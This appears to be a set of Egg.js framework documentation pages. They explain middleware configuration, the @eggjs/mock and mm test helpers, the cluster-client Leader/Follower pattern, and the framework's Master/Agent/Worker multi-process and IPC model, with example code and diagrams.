Usually the middleware has its own configuration. In the framework, a complete middleware includes the configuration process. A middleware is a single file placed under `app/middleware` directory, which needs to exports a function that accepts two parameters:

* options: the configuration field of the middleware, `app.config[${middlewareName}]` will be passed in by the framework
* app: the Application instance of current application

We will do a simple optimization to the gzip middleware above, making it do gzip compression only if the body size is greater than a configured threshold. So, we need to create a new file `gzip.js` in `app/middleware` directory.

```js
// app/middleware/gzip.js
const isJSON = require('koa-is-json');
const zlib = require('zlib');

module.exports = (options) => {
  return async function gzip(ctx, next) {
    await next();

    // convert the response body to gzip after the completion of the execution of subsequent middleware
    let body = ctx.body;
    if (!body) return;

    // support options.threshold
    if (options.threshold && ctx.length < options.threshold) return;

    if (isJSON(body)) body = JSON.stringify(body);

    // set gzip body, correct the response header
    const stream = zlib.createGzip();
    stream.end(body);
    ctx.body = stream;
    ctx.set('Content-Encoding', 'gzip');
  };
};
```

## Using Middleware

After writing middleware, we also need to mount it, there are following ways to support:

### Using Middleware in Application

We can load customized middleware completely by configuration in the application, and decide their order.
If we need to load the gzip middleware in the above,
we can edit `config.default.js` like this:

```js
module.exports = {
  // configure the middleware you need, which loads in the order of array
  middleware: ['gzip'],

  // configure the gzip middleware
  gzip: {
    threshold: 1024, // skip response body which size is less than 1K
  },
};
```

This config will be merged to `app.config.appMiddleware` at starting up.

## Using Middleware in Framework and Plugin

Framework and Plugin don't support to configure `middleware` in `config.default.js`, you should mount it in `app.js`:

```js
// app.js
module.exports = (app) => {
  // put to the first place to count request cost
  app.config.coreMiddleware.unshift('report');
};

// app/middleware/report.js
module.exports = () => {
  return async function (ctx, next) {
    const startTime = Date.now();
    await next();
    reportTime(Date.now() - startTime);
  };
};
```

Middlewares which are defined at Application (`app.config.appMiddleware`) and Framework(`app.config.coreMiddleware`) will be merged to `app.middleware` by loader at staring up.

## Using Middleware in Router

The middleware configured in the above ways is global, and it will process every request.

If you do want to take effect only for single route, you could just instantiate and mount it at `app/router.js`:

```js
module.exports = (app) => {
  const gzip = app.middleware.gzip({ threshold: 1024 });
  app.router.get('/needgzip', gzip, app.controller.handler);
};
```

## Default Framework Middleware

In addition to application layer loading middleware, the framework itself and other plugins will also load many middlewares. All the config fields of these built-in middlewares can be modified by modifying the ones with the same name in the config file, for example [Framework Built-in Plugin](https://github.com/eggjs/egg/tree/master/app/middleware) uses a bodyParser middleware(the framework loader will change the various delimiters in the file name into the camel style), and we can add configs below in `config/config.default.js` to modify the bodyParser:

```js
module.exports = {
  bodyParser: {
    jsonLimit: '10m',
  },
};
```

\*\* Note: middleware loaded by the framework and plugins are loaded earlier than those loaded by the application layer, and the application-layer middleware cannot overwrite the default framework middleware. If the application layer loads customized middleware that has the same name with default framework middleware, an error will be reported on starting up. \*\*

## Use Koa's Middleware

Developer is free to use Koa Middleware, all middlewares used in Koa can be directly used in the framework too.

For example, Koa uses [koa-compress](https://github.com/koajs/compress) in this way:

```js
const koa = require('koa');
const compress = require('koa-compress');

const app = koa();

const options = { threshold: 2048 };
app.use(compress(options));
```

We can load the middleware according to the framework specification like this:

```js
// app/middleware/compress.js
// interfaces(`(options) => middleware`) exposed by koa-compress match the framework middleware requirements
module.exports = require('koa-compress');
```

```js
// config/config.default.js
module.exports = {
  middleware: ['compress'],
  compress: {
    threshold: 2048,
  },
};
```

If the third-party Koa middleware do not follow the rule, then you can wrap it yourself:

```js
// config/config.default.js
module.exports = {
  webpack: {
    compiler: {},
    others: {},
  },
};

// app/middleware/webpack.js
const webpackMiddleware = require('some-koa-middleware');

module.exports = (options, app) => {
  return webpackMiddleware(options.compiler, options.others);
};
```

## General Configuration

These general config fields are supported by middleware loaded by the application layer and built in by the framework:

* enable: enable the middleware or not
* match: set some rules with which only the request matches can go through this middleware
* ignore: set some rules with which the request matches can't go through this middleware

### enable

If our application does not need default bodyParser to resolve the request body, we can configure enable for false to close it.

```js
module.exports = {
  bodyParser: {
    enable: false,
  },
};
```

### `match` and `ignore`

match and ignore share the same parameter but do the opposite things. match and ignore cannot be configured in the same time.

If we want gzip to be used only by url requests starting with `/static`, the match config field can be set like this:

```js
module.exports = {
  gzip: {
    match: '/static',
  },
};
```

match and ignore support various types of configuration ways:

1. String: when string, it sets the prefix of a url path, and all urls starting with this prefix will be matched. A string array is also accepted.
2. Regular expression: when regular expression, all urls satisfy this regular expression will be matched.
3. Function: when function, the request context will be passed to it and what it returns(true/false) determines whether the request is matched or not.

```js
module.exports = {
  gzip: {
    match(ctx) {
      // enabled on ios devices
      const reg = /iphone|ipad|ipod/i;
      return reg.test(ctx.get('user-agent'));
    },
  },
};
```

For more configs about `match` and `ignore`, please refer to [@eggjs/path-matching](https://github.com/eggjs/egg/tree/next/packages/path-matching).

---

---
url: /core/mock.md
---

Egg provides a dedicated mocking helper package for application unit tests: **`@eggjs/mock`** (historically known as **egg-mock**).

* Repository (Egg 3.x / egg-mock@5.x, peerDependencies.egg: ^3.12.0): https://github.com/eggjs/mock/tree/5.x
* API reference: see README in the repo.

`@eggjs/mock` is built on top of **`mm`** (Mock Mate), which provides low-level monkey-patching utilities.

* Repository: https://github.com/node-modules/mm

## Install

```bash
npm i @eggjs/mock --save-dev
```

> In many docs / legacy code you may still see `egg-mock`. For Egg 3.x, the recommended package name is `@eggjs/mock`.

## Quick Start

### Create an app instance

```js
const mock = require('@eggjs/mock');

describe('test/controller/home.test.js', () => {
  let app;

  before(async () => {
    app = mock.app({ baseDir: 'path/to/your/app' });
    await app.ready();
  });

  after(() => app.close());
});
```

### Use bootstrap to avoid repeated setup

```js
const { app, mock, assert } = require('egg-mock/bootstrap');

describe('test/controller/home.test.js', () => {
  // test cases
});
```

> The bootstrap helper wires common setup/teardown and is convenient for most projects.

### Create a Context

```js
it('should get a ctx', () => {
  const ctx = app.mockContext();
  assert(ctx.method === 'GET');
});

it('should mock ctx.user', () => {
  const ctx = app.mockContext({
    user: { name: 'fengmk2' },
  });
  assert(ctx.user.name === 'fengmk2');
});
```

## Restore after each test

When using `mm` / `@eggjs/mock`, remember to restore mocked state:

```js
const mm = require('mm');

afterEach(() => mm.restore());
```

If you use `egg-mock/bootstrap`, it already restores mocks for you in `afterEach`.

## mm (Mock Mate) API

`mm` is a general purpose monkey-patching library. `@eggjs/mock` is built on top of it, and many Egg tests use `mm` directly.

### Prefer using `@eggjs/mock` exports

For consistency inside the Egg ecosystem, prefer the `mm` that is exported by `@eggjs/mock` (egg-mock). It is compatible with `mm` and adds Egg-specific helpers.

```js
// CJS
const { app, mm } = require('egg-mock/bootstrap');
// mm.restore() in afterEach is already wired by bootstrap

// or
const mock = require('@eggjs/mock');
mock(target, 'prop', value);
mock.restore();
```

You can still use the standalone `mm` package directly if needed:

```js
import mm, { restore } from 'mm';
```

### Core

* `mm(target, property, value)` / `mm.mock(...)`: monkey-patch a property.
* `mm.restore()` / `restore()`: restore all patched properties.
* `mm.isMocked(target, property)`: check if a property is mocked.
* `mm.spy(target, method)`: spy a function (records call counts/args).

> When a mocked property is a function, mm will attach spy fields like `called`, `calledArguments`, `lastCalledArguments`.

### Callback-style helpers

* `mm.data(target, method, data[, timeout])`: callback returns `(null, data)`.
* `mm.datas(target, method, datas[, timeout])`: callback returns `(null, ...datas)`.
* `mm.empty(target, method[, timeout])`: callback returns `(null, null)`.
* `mm.error(target, method, error[, props|timeout][, timeout])`: callback returns an error.
* `mm.errorOnce(...)`: like `error` but only once.

### Sync helpers

* `mm.syncData(target, method, value)`: return value.
* `mm.syncEmpty(target, method)`: return `undefined`.
* `mm.syncError(target, method, error[, props])`: throw error.

### HTTP helpers

* `mm.http.request(url, data[, headers][, delay])`: mock `http.request` / `http.get`.
* `mm.http.requestError(url[, reqError][, resError][, delay])`: mock request/response errors.
* `mm.https.request(...)` / `mm.https.requestError(...)`: same for https.

### Other

* `mm.spawn(code, stdout, stderr[, timeout])`: mock `child_process.spawn`.
* `mm.classMethod(instance, method, mockFn)`: mock a class method via prototype.

For complete and up-to-date details, see the mm repository:
https://github.com/node-modules/mm

---

---
url: /advanced/cluster-client.md
---
# Multi-Process Development Model Enhancement

In the previous [Multi-Process Model chapter](../core/cluster-and-ipc.md), we covered the multi-process model of the framework in detail, whose Agent process suits for a common class of scenarios: some middleware clients need to establish a persistent connection with server. In theory, a server had better establish only one persistent connection. However, the multi-process model will result in n times (n = number of Worker processes) connections being created.

```bash
+--------+   +--------+
| Client |   | Client |   ... n
+--------+   +--------+
    |  \     /   |
    |    \ /     |        n * m links
    |    / \     |
    |  /     \   |
+--------+   +--------+
| Server |   | Server |   ... m
+--------+   +--------+
```

In order to reuse persistent connections as much as possible (because they are very valuable resources for server), we put them into the Agent process to maintain, and then we transmit data to each Worker via messenger. It's feasible but we often need to write many codes to encapsulate the interface and realize data transmission, which is very troublesome.

In addition, it's relatively inefficient to transmit data via messenger, since messenger will do the transmission through the Master; In case IPC channel goes wrong, it would probably break Master process down.

So is there any better way? The answer is: YES! We provide a new type of model to reduce the complexity of this type of client encapsulation. The new Model bypasses the Master by establishing a direct socket between Agent and Worker. And as an external interface, Agent maintains shared connection among multiple Worker processes.

## Core Idea

* Inspired by the [Leader/Follower](https://www.dre.vanderbilt.edu/~schmidt/PDF/lf.pdf) model.
* The client is divided into two roles:
  * Leader: Be responsible for maintaining the connection with the remote server, only one Leader for the same type of client.
  * Follower: Delegate specific operations to the Leader. A common way is Subscribe-Model (let the Leader interact with remote server and wait for its return).
* How to determine who Leader is, who Follower is? There are two modes:
  * Free competition mode: clients determine the Leader by the competition of the local port when start up. For example: every one tries to monitor port 7777, and finally the only one instance who seizes it will become Leader, the rest will be Followers.
  * Mandatory mode: the framework designates a Leader and the rest are Followers.
* we use mandatory mode inside the framework. The Leader can only be created inside the Agent, which is also in line with our positioning of the Agent.
* When the framework starts up, Master will randomly select an available port as the communication port monitored by the Cluster Client, and passes it by parameter to Agent and App Worker.
* Leader communicates with Follower through direct socket connection (through communication port), no longer needs Master to transit.

Under the new mode, the client's communication is as follows:

```js
             +-------+
             | start |
             +---+---+
                 |
        +--------+---------+
      __| port competition |__
win /   +------------------+  \ lose
   /                           \
+---------------+     tcp conn     +-------------------+
| Leader(Agent) |<---------------->| Follower(Worker1) |
+---------------+                  +-------------------+
    |            \ tcp conn
    |             \
+--------+         +-------------------+
| Client |         | Follower(Worker2) |
+--------+         +-------------------+
```

## Client Interface Type Abstraction

We abstract the client interface into the following two broad categories, which is also a specification of the client interface. For clients that are in line with norms, we can automatically wrap it as Leader / Follower mode.

* Subscribe / Publish Mode:
  * The `subscribe(info, listener)` interface contains two parameters. The first one is the information subscribed and the second one is callback function for subscribe.
  * The `publish(info)` interface contains a parameter which is the information subscribed.
* Invoke Mode, supports three styles of interface: callback, promise and generator function, but generator function is recommended.

Client example

```js
const { Base } = require('sdk-base');

class Client extends Base {
  constructor(options) {
    super(options); // remember to invoke ready after initialization is successful
    this.ready(true);
  }
  /**
   * Subscribe
   *
   * @param {Object} info - subscription information (a JSON object, try not to include attributes such as Function, Buffer, Date)
   * @param {Function} listener - monitoring callback function, receives a parameter as the result of monitoring
   */

  subscribe(info, listener) {
    // ...
  }
  /**
   * Publish
   *
   * @param {Object} info - publishing information, which is similar to that of subscribe described above
   */

  publish(info) {
    // ...
  }
  /**
   * Get data (invoke)
   *
   * @param {String} id - id
   * @return {Object} result
   */

  async getData(id) {
    // ...
  }
}
```

## Exception Handling

* If Leader "dies", a new round of port contention will be triggered. The instance which seizes the port will be elected as the new Leader.
* To ensure that the channel between Leader and Follower is healthy, heartbeat mechanism needs to be introduced. If the Follower does not send a heartbeat packet within a fixed time, the Leader will proactively disconnect from the Follower, which will trigger the reinitialization of Follower.

## Protocol and Time Series to Invoke

Leader and Follower exchange data via the following protocols:

```js
 0       1       2               4                                                              12
 +-------+-------+---------------+---------------------------------------------------------------+
 |version|req/res|    reserved   |                          request id                           |
 +-------------------------------+-------------------------------+-------------------------------+
 |           timeout             |   connection object length    |   application object length   |
 +-------------------------------+---------------------------------------------------------------+
 |         conn object (JSON format)  ...                    |            app object             |
 +-----------------------------------------------------------+                                   |
 |                                          ...                                                  |
 +-----------------------------------------------------------------------------------------------+
```

1. On the communication port Leader starts a Local Server, via which all Leaders / Followers communicate.
2. After Follower connects Local Server, it will firstly send a register channel packet (introduction of the channel concept is to distinguish between different types of clients).
3. Local Server will assign Follower to a specified Leader (match based on client type).
4. Follower sends requests to Leader to subscribe and publish.
5. Leader notifies Follower through the subscribe result packet when the subscription data changes.
6. Follower sends a call request to the Leader. The Leader executes a corresponding operation after receiving, and returns the result.

```js
 +----------+             +---------------+          +---------+
 | Follower |             |  Local Server |          |  Leader |
 +----------+             +---------------+          +---------+
      |     register channel     |       assign to        |
      + -----------------------> |  --------------------> |
      |                          |                        |
      |                                subscribe          |
      + ------------------------------------------------> |
      |                                 publish           |
      + ------------------------------------------------> |
      |                                                   |
      |       subscribe result                            |
      | <------------------------------------------------ +
      |                                                   |
      |                                 invoke            |
      + ------------------------------------------------> |
      |          invoke result                            |
      | <------------------------------------------------ +
      |                                                   |
```

## Specific Usage

In the following I will use a simple example to introduce how to make a client support Leader / Follower mode in the framework.

* The first step, our client is best to meet the interface conventions mentioned above, for example:

```js
// registry_client.js
const { parse } = require('node:url');
const { Base } = require('sdk-base');

class RegistryClient extends Base {
  constructor(options) {
    super({
      // Specify a method for asynchronous start
      initMethod: 'init',
    });
    this._options = options;
    this._registered = new Map();
  }
  /**
   * Start logic
   */

  async init() {
    this.ready(true);
  }
  /**
   * Get configuration
   * @param {String} dataId - the dataId
   * @return {Object} configuration
   */

  async getConfig(dataId) {
    return this._registered.get(dataId);
  }
  /**
   * Subscribe
   * @param {Object} reg
   *   - {String} dataId - the dataId
   * @param {Function} listener - the listener
   */

  subscribe(reg, listener) {
    const key = reg.dataId;
    this.on(key, listener);

    const data = this._registered.get(key);
    if (data) {
      process.nextTick(() => listener(data));
    }
  }
  /**
   * publish
   * @param {Object} reg
   *   - {String} dataId - the dataId
   *   - {String} publishData - the publish data
   */

  publish(reg) {
    const key = reg.dataId;
    let changed = false;

    if (this._registered.has(key)) {
      const arr = this._registered.get(key);
      if (arr.indexOf(reg.publishData) === -1) {
        changed = true;
        arr.push(reg.publishData);
      }
    } else {
      changed = true;
      this._registered.set(key, [reg.publishData]);
    }
    if (changed) {
      this.emit(
        key,
        this._registered.get(key).map((url) => parse(url, true)),
      );
    }
  }
}

module.exports = RegistryClient;
```

* The second step is to encapsulate the `RegistryClient` using the `agent.cluster` interface:

```js
// agent.js
const RegistryClient = require('registry_client');

module.exports = (agent) => {
  // encapsulate and instantiate RegistryClient
  agent.registryClient = agent
    .cluster(RegistryClient) // parameter of create method is the parameter of RegistryClient constructor
    .create({});

  agent.beforeStart(async () => {
    await agent.registryClient.ready();
    agent.coreLogger.info('registry client is ready');
  });
};
```

* The third step, use the `app.cluster` interface to encapsulate `RegistryClient`:

```js
// app.js
const RegistryClient = require('registry_client');

module.exports = (app) => {
  app.registryClient = app.cluster(RegistryClient).create({});
  app.beforeStart(async () => {
    await app.registryClient.ready();
    app.coreLogger.info('registry client is ready');

    // invoke subscribe to subscribe
    app.registryClient.subscribe(
      {
        dataId: 'demo.DemoService',
      },
      (val) => {
        // ...
      },
    );

    // invoke publish to publsih data
    app.registryClient.publish({
      dataId: 'demo.DemoService',
      publishData: 'xxx',
    });

    // invoke getConfig interface
    const res = await app.registryClient.getConfig('demo.DemoService');
    console.log(res);
  });
};
```

Isn't it so simple?

Of course, if your client is not so 『standard』, then you may need to use some other APIs, for example, your subscription function is not named `subscribe`, but `sub`:

```js
class MockClient extends Base {
  constructor(options) {
    super({
      initMethod: 'init',
    });
    this._options = options;
    this._registered = new Map();
  }

  async init() {
    this.ready(true);
  }

  sub(info, listener) {
    const key = reg.dataId;
    this.on(key, listener);

    const data = this._registered.get(key);
    if (data) {
      process.nextTick(() => listener(data));
    }
  }

  ...
}
```

You need to set it manually with the `delegate` API:

```js
// agent.js
module.exports = (agent) => {
  agent.mockClient = agent
    .cluster(MockClient)
    // delegate sub to logic of subscribe
    .delegate('sub', 'subscribe')
    .create();

  agent.beforeStart(async () => {
    await agent.mockClient.ready();
  });
};
```

```js
// app.js
module.exports = (app) => {
  app.mockClient = app
    .cluster(MockClient)
    // delegate sub to subscribe logic
    .delegate('sub', 'subscribe')
    .create();

  app.beforeStart(async () => {
    await app.mockClient.ready();

    app.sub({ id: 'test-id' }, (val) => {
      // put your code here
    });
  });
};
```

We've already known that using `cluster-client` allows us to develop a 『pure』 RegistryClient without understanding the multi-process model. We can only focus on interacting with server, and use the `cluster-client` with a simple wrap to get a `ClusterClient` which supports multi-process model. The `RegistryClient` here is actually a `DataClient` that is specifically responsible for data communication with remote service.

You may have noticed that the `ClusterClient` brings with several constraints at the same time. If you want to expose the same approach to each process, `RegistryClient` can only support sub/pub mode and asynchronous API calls. Because all interactions in multi-process model must use socket communications, under which it is bound to bring this constraint.

Suppose we want to realize a synchronous `get` method. Put subscribed data directly into memory and use the `get` method to return data directly. How to achieve it? The real situation may be more complicated.

Here, we introduce an `APIClient` best practice. For modules that have requirements of synchronous API such as reading cached data, an `APIClient` is encapsulated base on RegistryClient to implement these APIs that are not related to interaction with the remote server. The `APIClient` instance is exposed to the user.

In `APIClient` internal implementation:

* To obtain data asynchronously, invoke RegistryClient's API base on ClusterClient.
* Interfaces that are unrelated to server, such as synchronous call, are to be implemented in `APIClient`. Since ClusterClient's APIs have flushed multi-process differences, there is no need to concern about multi-process model when calls to RegistryClient during developing `APIClient`.

For example, add a synchronous get method with buffer in the `APIClient` module:

```js
// some-client/index.js
const cluster = require('cluster-client');
const RegistryClient = require('./registry_client');

class APIClient extends Base {
  constructor(options) {
    super(options); // options.cluster is used to pass app.cluster to Egg's plugin

    this._client = (options.cluster || cluster)(RegistryClient).create(options);
    this._client.ready(() => this.ready(true));

    this._cache = {};

    // subMap:
    // {
    //   foo: reg1,
    //   bar: reg2,
    // }
    const subMap = options.subMap;

    for (const key in subMap) {
      this.subscribe(subMap[key], (value) => {
        this._cache[key] = value;
      });
    }
  }

  subscribe(reg, listener) {
    this._client.subscribe(reg, listener);
  }

  publish(reg) {
    this._client.publish(reg);
  }

  get(key) {
    return this._cache[key];
  }
}

// at last the module exposes this APIClient
module.exports = APIClient;
```

Then we can use this module like this:

```js
// app.js || agent.js
const APIClient = require('some-client'); // the module above
module.exports = app => {
  const config = app.config.apiClient;
  app.apiClient = new APIClient(Object.assign({}, config, { cluster: app.cluster });
  app.beforeStart(async () => {
    await app.apiClient.ready();
  });
};

// config.${env}.js
exports.apiClient = {
  subMap: {
    foo: {
      id: '',
    },
    // bar...
  }
};
```

To make it easy for you to encapsulate `APIClient`, we provide an` APIClientBase` base class in the [cluster-client](https://www.npmjs.com/package/cluster-client) module. Then `APIClient` above can be rewritten as:

```js
const APIClientBase = require('cluster-client').APIClientBase;
const RegistryClient = require('./registry_client');

class APIClient extends APIClientBase {
  // return the original client class
  get DataClient() {
    return RegistryClient;
  } // used to set the cluster-client related parameters, equivalent to the second parameter of the cluster method

  get clusterOptions() {
    return {
      responseTimeout: 120 * 1000,
    };
  }

  subscribe(reg, listener) {
    this._client.subscribe(reg, listener);
  }

  publish(reg) {
    this._client.publish(reg);
  }

  get(key) {
    return this._cache[key];
  }
}
```

in conclusion:

```bash
+------------------------------------------------+
| APIClient                                      |
|       +----------------------------------------|
|       | ClusterClient                          |
|       |      +---------------------------------|
|       |      | RegistryClient                  |
+------------------------------------------------+
```

* RegistryClient - responsible for communicating with remote service, to access data, supports for asynchronous APIs only, and does't care about multi-process model.
* ClusterClient - a client instance that is simply wrapped by the `cluster-client` module and is responsible for automatically flushing differences in multi-process model.
* APIClient - internally calls `ClusterClient` to synchronize data, without the need to concern about multi-process model and is the final exposed module for users. APIs are exposed Through this, and support for synchronization and asynchronization.

Students who are interested may have look at [enhanced multi-process development model](https://github.com/eggjs/egg/issues/322) discussion process.

## The Configuration Items Related to Cluster-Client in the Framework

```js
/**
 * @property {Number} responseTimeout - response timeout, default is 60000
 * @property {Transcode} [transcode]
 *   - {Function} encode - custom serialize method
 *   - {Function} decode - custom deserialize method
 */
config.clusterClient = {
  responseTimeout: 60000,
};
```

| Configuration Items | Type     | Default            | Description                                                                                                                                                 |
| ------------------- | -------- | ------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------- |
| responseTimeout     | number   | 60000 (one minute) | Global interprocess communication timeout, you cannot set too short, because the proxy interface itself has a timeout setting                               |
| transcode           | function | N/A                | Serialization of interprocess communication, by default [serialize-json](https://www.npmjs.com/package/serialize-json) (set up manually is not recommended) |

The above is about global configuration. If you want to do a separate setting for a client:

* You can override by setting the second argument `options` in `app/agent.cluster(ClientClass, options)`:

```js
app.registryClient = app
  .cluster(RegistryClient, {
    responseTimeout: 120 * 1000, // the parameters passing here are related to cluster-client
  })
  .create({
    // here are parameters required by RegistryClient
  });
```

* You can also override the `getter` attribute of `clusterOptions` in `APIClientBase`:

```js
const APIClientBase = require('cluster-client').APIClientBase;
const RegistryClient = require('./registry_client');

class APIClient extends APIClientBase {
  get DataClient() {
    return RegistryClient;
  }

  get clusterOptions() {
    return {
      responseTimeout: 120 * 1000,
    };
  }

  // ...
}

module.exports = APIClient;
```

---

---
url: /core/cluster-and-ipc.md
---

We know that JavaScript codes are run on single thread, in other words, one Node.js process only runs on one CPU. So if we use Node.js as a Web Server, we cannot benefit from multi-core any more. As an enterprise-level solution, one problem that must be solved is:

> how to squeeze all server resources, taking advantages of multi-cores?

And the official solution provided by Node.js is [Cluster module](https://nodejs.org/api/cluster.html), and there's an introduction:

> A single instance of Node.js runs in a single thread. To take advantage of multi-core systems the user will sometimes want to launch a cluster of Node.js processes to handle the load.
>
> The cluster module allows you to easily create child processes that all share server ports.

# What is Cluster?

In short,

* fork multiple processes on the server concurrently.
* every single process runs the same source code(just like assigning work done by one process to multiple processes).
* what is more, all these processes can listen on the same one port(for detailed mechanism referring to @DavidCai1993 [Cluster Implementation Mechanism](https://cnodejs.org/topic/56e84480833b7c8a0492e20c))

of which:

* the process that forks other processes is called Master process, it seems like a contractor that does nothing except forking other processes.
* other forked processes are called Worker processes, as the name suggests, they are workers that work actually. They accept requests and provide services.
* usually the number of Worker processes depends on the CPU core number, only in this way can we take full advantage of multi-core resources.

```js
const cluster = require('cluster');
const http = require('http');
const numCPUs = require('os').cpus().length;

if (cluster.isMaster) {
  // Fork workers.
  for (let i = 0; i < numCPUs; i++) {
    cluster.fork();
  }

  cluster.on('exit', function (worker, code, signal) {
    console.log('worker ' + worker.process.pid + ' died');
  });
} else {
  // Workers can share any TCP connection
  // In this case it is an HTTP server
  http
    .createServer(function (req, res) {
      res.writeHead(200);
      res.end('hello world\n');
    })
    .listen(8000);
}
```

## Multi-Process Model of the Framework

Simple like the example above, but as an enterprise-level solution, much more remains to be considered.

* How to handle the exception that Worker processes exit unexpected?
* How to share resources among multiple Worker processes?
* How to schedule multiple Worker processes?
* ...

### Daemon Process

Haleness(aka Robustness) of an enterprise-level application must be considered, apart from the guarantee of high quality codes of program itself, the framework level should provide the cache-all mechanism to ensure the availability under extreme circumstance.

Generally, Node.js processes exit for two reasons:

#### Uncaught Exception

The process will exit when codes throw an exception but fail to catch it, at this time, Node.js provides `process.on('uncaughtException', handler)` interface to catch it, But if a Worker process encounters an uncaught exception, it enters an uncertain state and what we should do is to make it exit elegantly:

1. close all TCP Servers started by the corrupted Worker process(close all connections and stop accepting new requests), close the IPC channel between Master and do not accept user requests any more.
2. a new Worker process should be forked by the Master immediately to ensure the total number of workers unchanged.
3. the corrupted Worker process waits for a while before exit in order to get through accepted requests.

```bash
   +---------+                 +---------+
   |  Worker |                 |  Master |
   +---------+                 +----+----+
        | uncaughtException         |
        +------------+              |
        |            |              |                   +---------+
        | <----------+              |                   |  Worker |
        |                           |                   +----+----+
        |        disconnect         |   fork a new worker    |
        +-------------------------> + ---------------------> |
        |         wait...           |                        |
        |          exit             |                        |
        +-------------------------> |                        |
        |                           |                        |
       die                          |                        |
                                    |                        |
                                    |                        |
```

#### OOM, System Exception

When a process crashes due to exceptions or is killed due to OOM by the OS, we have no chance to resume the process like uncaught exceptions occurring, the only choice is to exit current process directly then Master forks a new Worker immediately.

In the framework, we use [graceful] and [egg-cluster] 2 modules correspondingly to implement above logics. This solution has been widely deployed in production environment in Alibaba Cor. and Ant Financial Cor. and is long-tested by 'Double 11' big promotion, solid and reliable.

### Agent Mechanism

Up to now, Node.js multi-process solution seems good enough and it's also the solution that we used in production environment previously. But before long, we find that there is some work that should not be done by every Worker in fact, if not, it leads to wasting of resources and, even worse, it may result in conflicts on resource access among processes. For example: we usually archive log file by date in production environment and it is easy to do in single process model:

> 1. at 0 o'clock in the morning, rename current log file by date
> 2. destroy previous file handle, create new log file and continue writing

Now imagine there are 4 processes doing the same work, and they may get into a mess. So for this kind of background logics, we'd like to run it on a single process which is called Agent Worker, or Agent for short. Agent is something like a 'secretary' for other Worker which is introduced by Master, it does not serve outside but only App Workers, especially processes common affairs. Now our multi-process model becomes something like below:

```bash
                  +--------+          +-------+
                  | Master |<-------->| Agent |
                  +--------+          +-------+
                  ^   ^    ^
                 /    |     \
               /      |       \
             /        |         \
           v          v          v
  +----------+   +----------+   +----------+
  | Worker 1 |   | Worker 2 |   | Worker 3 |
  +----------+   +----------+   +----------+
```

And our framework startup sequence looks like:

```bash
    +---------+           +---------+          +---------+
    |  Master |           |  Agent  |          |  Worker |
    +---------+           +----+----+          +----+----+
         |      fork agent     |                    |
         +-------------------->|                    |
         |      agent ready    |                    |
         |<--------------------+                    |
         |                     |     fork worker    |
         +----------------------------------------->|
         |     worker ready    |                    |
         |<-----------------------------------------+
         |      Egg ready      |                    |
         +-------------------->|                    |
         |      Egg ready      |                    |
         +----------------------------------------->|
```

1. Agent process is forked after Mater starts up
2. when Agent initialized successfully, Master is notified via IPC channel
3. Master forks many App Workers
4. when App Worker initialized successfully, Master is notified
5. when all process initialized successfully, Master notifies Agent and Worker that the application starts up successfully

Besides, there still is something about Agent Worker needing to be notices:

1. since App Worker depends on Agent, App Worker can be forked only after Agent being initialized
2. although Agent is the secretary of App Worker, business related work should not be assigned to Agent, or it may be broken down
3. considering the special orientation of Agent, **we must ensure it's relatively stable**. When it throws an uncaught exception, framework does not shut it down then restart it like App Worker, instead, it logs the exception, gives an alarm and waits for manual handling
4. mounting API of Agent differs from that of App Worker, and differences are listed in [Framework docs](../advanced/framework.md)

### Agent Usage

You can implement your own logics in `agent.js` which is under the directory of the application or the plugin(like the usage of [Customized Startup](../basics/app-start.md), and the only difference is using agent object as the entrance parameter)

```js
// agent.js
module.exports = agent => {
  // put your initialization logics here

  // messages can also be sent by the messenger object to App Worker
  // but you should wait until App Worker starts up successfully, or the message may be lost
  agent.messenger.on('egg-ready', () => {
    const data = { ... };
    agent.messenger.sendToApp('xxx_action', data);
  });
};
```

```js
// app.js
module.exports = (app) => {
  app.messenger.on('xxx_action', (data) => {
    // ...
  });
};
```

In this example, codes of `agent.js` are run in Agent process, codes of `app.js` are run in the Worker process, and they do the Inter-Process Communication(IPC) through the `messenger` object encapsulated by framework. Details about the IPC are explained in later sections.

### Master vs Agent vs Worker

When an application starts up, 3 kinds of processes will be forked.

| Type   | Number of Processes             | Purpose                                                      | Stability | Run Business Codes or Not |
| ------ | ------------------------------- | ------------------------------------------------------------ | --------- | ------------------------- |
| Master | 1                               | Managing processes and transmitting messages among processes | Very High | No                        |
| Agent  | 1                               | Running background jobs(persistent connection client)        | High      | Little                    |
| Worker | usually the number of CPU cores | Running Business codes                                       | Normal    | Yes                       |

#### Master

With this model, Master process undertakes the process management workers(like [pm2]) but runs no business codes. We simply start up a Master process and it will handle all initialization and restarting issues of Worker and Agent processes.

Master process is extremely stable. We simply use [egg-scripts] for online and `egg.startCluster` for background to start Master process and [pm2] or other daemon module is no long necessary.

```bash
$ egg-scripts start --daemon
```

#### Agent

In most cases, we needn't care about Agent process when writing business codes, but in several cases, where we propose to run the codes in a single process and that is the time we use Agent process.

Since there's only one Agent that is in charge of tough and tedious work like keeping connections, it cannot be hang or restarted rashly. Agent process won't exit when encounters uncaught exceptions, but output an error log instead, **so we should always keep out eyes on the uncaught exceptions in logs**.

#### Worker

Worker process undertakes user requests and [scheduled tasks](../basics/schedule.md) actually. Egg provides scheduled tasks with the ability to be run only in one Worker process, **so never solve problems by Agent as long as they can be solved by scheduled tasks**.

Worker runs business codes, which are more complicated than those of Agent and Master but the stability may be lower, **a Worker process will be restarted by Master when a Worker process exits unexpectedly**.

## Inter-Process Communication(IPC)

Although every Worker process runs individually, it's necessary for them to communicate with each other which is called inter-process communication(IPC). Below is an example code provided by Node.js officially.

```js
'use strict';
const cluster = require('cluster');

if (cluster.isMaster) {
  const worker = cluster.fork();
  worker.send('hi there');
  worker.on('message', (msg) => {
    console.log(`msg: ${msg} from worker#${worker.id}`);
  });
} else if (cluster.isWorker) {
  process.on('message', (msg) => {
    process.send(msg);
  });
}
```

Carefully you can see that the IPC channel of clusters exists only between Master and Worker/Agent, not between Worker and Agent. So how to communicate among Workers? Yes, Master helps transmit.

```bash
Broadcast messages: agent => all workers
                  +--------+          +-------+
                  | Master |<---------| Agent |
                  +--------+          +-------+
                 /    |     \
                /     |      \
               /      |       \
              /       |        \
             v        v         v
  +----------+   +----------+   +----------+
  | Worker 1 |   | Worker 2 |   | Worker 3 |
  +----------+   +----------+   +----------+

Specify receivers: one worker => another worker
                  +--------+          +-------+
                  | Master |----------| Agent |
                  +--------+          +-------+
                 ^    |
     send to    /     |
    worker 2   /      |
              /       |
             /        v
  +----------+   +----------+   +----------+
  | Worker 1 |   | Worker 2 |   | Worker 3 |
  +----------+   +----------+   +----------+
```

